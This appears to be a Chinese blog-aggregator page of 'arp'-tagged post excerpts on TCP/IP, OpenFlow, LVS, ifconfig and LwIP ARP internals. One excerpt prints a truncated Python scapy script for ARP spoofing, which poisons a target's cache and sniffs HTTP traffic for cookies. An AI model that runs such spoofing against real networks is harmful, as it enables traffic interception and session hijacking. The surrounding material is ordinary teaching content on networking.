arp

20199329 2019-2020-2 《网络攻防实践》第五周作业

戏子无情 提交于 2020-03-30 16:26:07
《网络攻防实践》第五周作业 一、前言 这个作业属于哪个课程: https://edu.cnblogs.com/campus/besti/19attackdefense 这个作业的要求在哪里: https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10553 我在这个课程的目标是:学习网络攻防相关知识,提升专业技能 这个作业在哪个具体方面帮助我实现目标:学习TCP/IP网络协议攻击的原理和实践 二、知识点总结 1.网络协议攻击及其基本概念 学习网络安全、信息安全首先应当铭记心中的是五大安全属性:机密性,完整性,可用性、真实性和不可抵赖性。我们所有的攻击或者防守都是围绕这五大安全属性来展开的。那么作为攻击方来说,通常有以下几种攻击模式: 截获:以嗅探与监听技术为基础的被动攻击模式,获取网络通信双方的通信信息内容。 中断:以拒绝服务技术为基础的主动攻击模式,使网络通信和会话无法进行。 伪造:以欺骗为基础的主动攻击模式,假冒网络通信方的身份,欺骗通信对方达到恶意目的。 篡改:包括数据包篡改,中间人攻等技术的击主动攻击模式,网络通信工程的信息内容进行篡改,使得通信一方或双方接收到虚假消息。 但是作为一个攻击者,我们还缺少了安全缺陷,有了安全缺陷,我们才可以实施攻击。通常有以下几种TCP/IP网络协议栈安全缺陷与攻击技术:

TCP/IP 协议栈初识

白昼怎懂夜的黑 提交于 2020-03-30 14:02:42
原文: 深入浅出 TCP/IP 协议栈 0. 简介   TCP/IP 协议栈是网络通信中一系列网络协议的综合,是核心骨架。它定义了电子设备接入因特网、以及数据在它们之间的传输方式,是一份标准。TCP/IP 协议采用 4 层结构,分别是 应用层、传输层、网络层和链路层 ,每一层都呼叫它的下一层所提供的协议来完成自己的需求。我们大部分的工作是在看得见摸得着的应用层上,所以下层的事情不用太操心;其次网络协议本身是体系复杂庞大,想要精通需要花费大量时间经历,但这不妨碍简单探索一下 一个主机上的数据要经过哪些过程才能发送到对方的主机上 。 0.5 物理介质   物理介质的重要性不言而喻,就是通过光纤、双绞线、无线电波等物理手段把电脑连接起来,电信号(0和1)在其中传输。物理介质的不同决定了电信号的出传输带宽、速率、传输距离以及抗干扰性等等。   TCP/IP 协议栈分为四层,每一层都由特定的协议与对方进行通信,协议之间的通信最终会被转化成 0、1电信号通过物理介质传输才能到达对方电脑。   下图是一张 TCP/IP 协议的基本框架:   每当通过 http 发起一个请求的时候,应用层、传输层、网络层和链路层的相关协议依次对该请求进行包装并携带对应的 首部 ,最终在链路层生成 以太网数据包 ,以太网数据包通过物理介质传输给对方主机,对方接收到数据包以后,然后再一层一层采用对应的协议进行拆包

OpenFlow 流表组成

南笙酒味 提交于 2020-03-26 14:33:43
流规则组成:每条流规则由一系列字段组成,分为基本字段、条件字段和动作字段三部分 一:基本字段 基本字段包括生效时间duration_sec、所属表项table_id、优先级priority、处理的数据包数n_packets,空闲超时时间idle_timeout等,空闲超时时间idle_timeout以秒为单位,超过设置的空闲超时时间后该流规则将被自动删除,空闲超时时间设置为0表示该流规则永不过期,idle_timeout将不包含于ovs-ofctl dump-flows brname的输出中。 cookie=value 流表标识字段: cookie字段有两种书写方式:cookie=value和cookie=value/mask。mask中对应位为1时cookie中值相应的位须严格匹配,为0时cookie中值对应的位通配,当mask为-1时,必须严格匹配cookie值。 duration=value: 流表生效时间,标识流表从下发到现在所持续的时间 table=tableid: 流表所属表项,标识流表所属的表,默认为0 priority=priority: 标识流表的优先级,范围为0-65535,值越大,优先级越高 n_packets: 标识流表匹配包数 n_bytes: 标识流表匹配字节数 idle_timeout=sec: 流表空闲超时时间,流表会在空闲时间达到给定的时间时被删除

TCP/IP协议学习导览

烈酒焚心 提交于 2020-03-17 23:27:32
某厂面试归来,发现自己落伍了!>>> 前言 从字面意义上讲,有人可能会认为TCP/IP是指TCP和IP两种协议。实际生活当中有时也确实就是指这两种协议。然而在很多情况下,它只是利用IP进行通信时所必须用到的协议群的统称。具体来说,IP或ICMP、TCP或UDP、TELNET或FTP、以及HTTP等都属于TCP/IP协议。 该文章主要为《TCP-IP详解卷1:协议》归纳笔记 1. 网络的分层 网络协议通常分不同层次进行开发,每一层分别负责不同的通信功能。一个协议族,比如TCP/IP,是一组不同层次上的多个协议的组合。TCP/IP通常被认为是一个四层的协议系统。 链路层 有时也称作 数据链路层或网络接口层 ,通常包括操作系统中的设备驱动程序和计算机中对应的网络接口卡。它们一起处理与电缆(或其他任何传输媒介)的物理接口细节。 网络层 有时也称作互联网层,处理分组在网络中的活动,例如分组的选路。在TCP/IP协议族中,网络层协议包括 IP 协议(网际协议), ICMP协议 (Internet互联网控制报文协议),以及 IGMP协议 (Internet组管理协议)。 运输层 主要为两台主机上的应用程序提供端到端的通信。在TCP/IP协议族中,有两个互不相同的传输协议: TCP(传输控制协议)和UDP(用户数据报协议)。 TCP为两台主机提供高可靠性的数据通信

python-ARP欺骗

自闭症网瘾萝莉.ら 提交于 2020-03-17 17:24:00
代码如下: # 1. 从命令行获取要欺骗的IP # 2. 获取IP对应的MAC地址 # 3. 定义MAC获取函数get_mac() # 4. 启动ARP欺骗 # 5. 定义ARP欺骗函数 # 6. 嗅探数据包 # 7. 定义cookie嗅探函数 # 8. 恢复靶机的ARP缓存 # 9. 定义ARP缓存恢复函数 from scapy . all import * import time from threading import Thread def main ( target_ip , gateway_ip ) : conf . verb = 0 # 2. 获取IP对应的MAC地址 target_mac = get_mac ( target_ip ) gateway_mac = get_mac ( gateway_ip ) # 4. 启动ARP欺骗 t = Thread ( target = poison_target , args = ( target_ip , target_mac , gateway_ip , gateway_mac ) ) # 当主线程结束时,子线程自动结束 t . setDaemon ( True ) t . start ( ) # 6. 嗅探数据包 sniff ( filter = "tcp port 80" , prn = packet

十二、ARP欺骗的命令行工具

空扰寡人 提交于 2020-03-17 14:57:15
前言 在大一刚接触到kali linux的时候,第一个做的渗透就是wifi以及内网渗透,其中中间人攻击打开了我新世界的大门 虽说也学习了其原理是怎样的,但是知道得再多不如自己动手写一个。 时至今日,也该是时候给它“正身”了 ARP毒化原理 ARP协议 我们都知道在TCP/IP模型中,分为四个层次。 应用层 传输层 网络层 数据链路层 其中每一层各司其职,完成自己的任务后传递给下一层进行处理 忘了在哪看到的一句话,很在理 分层结构由于各层相互独立,给计算机网络安全带来的很大的隐患。但是我并没有说分层结构一无是处,相反,正是因为它,才能高速而有效率地处理数据、逻辑、事务,才能构成了我们的大千世界。这才是它的伟大之处。 在《TCP/IP卷一:协议》中,ARP协议被归为网络一层,而网上对ARP协议工作的层面还是有很大的争议,很大一部分人认为ARP是工作在数据链路层的。 ARP协议的作用是将IP地址和MAC地址一一映射起来。网络分为几个类 ―― 个域网,局域网,城域网,广域网,互联网。MAC地址作用于局域网寻址而IP地址作用于互联网寻址。所以在局域网内要找到对应的机器就得利用到MAC地址 在一个数据包在局域网传输时,一开始发送者它只知道应该发给哪个IP地址而不知道是对应哪个MAC地址,所以会向局域网里面广播,这个IP在哪个MAC地址,由于ARP协议

LVS(三):DR模式实验

与世无争的帅哥 提交于 2020-03-17 07:31:56
NAT模式的相关配置操作请参考 《LVS(二):NAT模式实验》 和NAT模式不同的是,在DR实验中,我们新增一台容器作为Load Balancer,架构变更为: 宿主机环境:充当客户端访问 web 服务; LoadBalancer 的 container:装有 ipvsadm,充当负载均衡调度器; RS1 的 container:部署 Nginx web 服务器,提供 Web 访问服务,充当服务器池中的一员; RS2 的 container:部署 Nginx web 服务器,提供 Web 访问服务,充当服务器池中的一员; 实验步骤 一、创建服务器池,并安装必备工具 和NAT模式实验一样,所以别来无恙: 安装nginx,vim 修改响应页面 重启nginx服务 docker run -- name=RS1 - tdi ubuntu docker run -- name=RS2 - tdi ubuntu docker run -- name=LB - tid ubuntu . . . apt - get install vim nginx - y . . . service nginx start 二、修改web服务器组的内核参数 # 设置只回答目标IP地址是来访网络接口本地地址的ARP查询请求 echo "1" > / proc / sys / net / ipv4 / conf

面试官,求求你,别再问我网络分层了!!!

不打扰是莪最后的温柔 提交于 2020-03-17 03:25:17
上一篇大体给小伙伴介绍一下网络分层的基本概念,以及每层的大体的功能,那么今天我们来看看每层具体的功能是什么?层与层之间又是怎么进行封装关联的? 上一篇: 面试:你真的懂网络分层模型吗?(上) 写在前边 上一篇主要分享了网络分层的基本概念,为什么要进行网络分层?又是如何进行分层?每一层的基本功能是什么?而且对于每一层的的功能细节方面,比如数据包的组成以及每层包含的一些协议的使用都没有细说,那么这一篇文章将会分享网络分层每层中协议等深入讲解。(PS:可能里边有的讲解不正确,还请大佬指出改正) 1、物理层 物理层里边涉及到最多的是硬件底层的一些内容,没有需要过多了解的内容,我们直接看数据链路层。 2、数据链路层 上回讲到数据链路层中规定的“以太网协议”来规定电信号的分组形式,什么是以太网,以太网的数据包是什么样子的? 2.1 以太网协议 以太网规定,每组的电信号就是一个数据包,每个数据包我们可以成为“帧”。每帧的组成是由标头(Head)和数据(Data)组成。 那么你会问,标头里有什么信息?Data 数据又会存放写什么?为什么分为两部分?放在一块不好吗? 1、标头 为什么传输数据会有标头,我们想呀,在传输数据的时候,接收端怎么判断是不是给自己发送的,那么就只取出标头来进行判断。 数据包的标头中通常会存放一些有关数据包的说明、发送者是谁、接受者又是谁等相关识别信息。 标头的长度固定为 18

基础命令学习目录首页

南楼画角 提交于 2020-03-14 10:06:05
基础命令学习目录首页 原文链接:https://blog.csdn.net/weixin_37886382/article/details/79716879 许多windows非常熟悉ipconfig命令行工具,它被用来获取网络接口配置信息并对此进行修改。 Linux系统 拥有一个类似的工具,也就是ifconfig(interfaces config)。通常需要以root身份登录或使用sudo以便在Linux机器上使用ifconfig工具。依赖于ifconfig命令中使用一些选项属性,ifconfig工具不仅可以被用来简单地获取网络接口配置信息,还可以修改这些配置。 1. 命令格式: ifconfig [网络设备] [参数] 2. 命令功能: ifconfig 命令用来查看和配置网络设备。当网络环境发生改变时可通过此命令对网络进行相应的配置。 3. 命令参数: up 启动指定网络设备/网卡。 down 关闭指定网络设备/网卡。该参数可以有效地阻止通过指定接口的IP信息流,如果想永久地关闭一个接口,我们还需要从核心路由表中将该接口的路由信息全部删除。 arp 设置指定网卡是否支持ARP协议。 -promisc 设置是否支持网卡的promiscuous模式,如果选择此参数,网卡将接收网络中发给它所有的数据包 -allmulti 设置是否支持多播模式,如果选择此参数

LWIP_ARP协议(1缓存表数据结构)

橙三吉。 提交于 2020-03-12 11:53:31
前言 从前面的文章,我们知道,ARP协议的核心是ARP缓存表,而ARP协议的实质就是对缓存表项(entry)的建立、更新、查询等操作。 那么,LwIP中是是怎么实现ARP协议的呢? ARP缓存表的数据结构 LwIP使用一个arp_table数组描述ARP缓存表,数组的内容是表项的内容,每个表项都必须记录一对IP地址与MAC地址的映射关系,此外还有一些基本的信息,如表项的状态、生命周期(生存时间)以及对应网卡的基本信息,LwIP使用一个etharp_entry结构体对表项进行描述。 而且LwIP预先定义了缓存表的大小,ARP_TABLE_SIZE默认为10,也就是最大能存放10个表项,由于这个表很小,LwIP对表的操作直接采用遍历方式,遍历每个表项并且更改其中的内容。 static struct etharp_entry arp_table [ ARP_TABLE_SIZE ] ; struct etharp_q_entry { struct etharp_q_entry * next ; struct pbuf * p ; } ; struct etharp_entry { # if ARP_QUEUEING /** 指向此ARP表项上挂起的数据包队列的指针. */ struct etharp_q_entry * q ; # else /* ARP_QUEUEING */ /**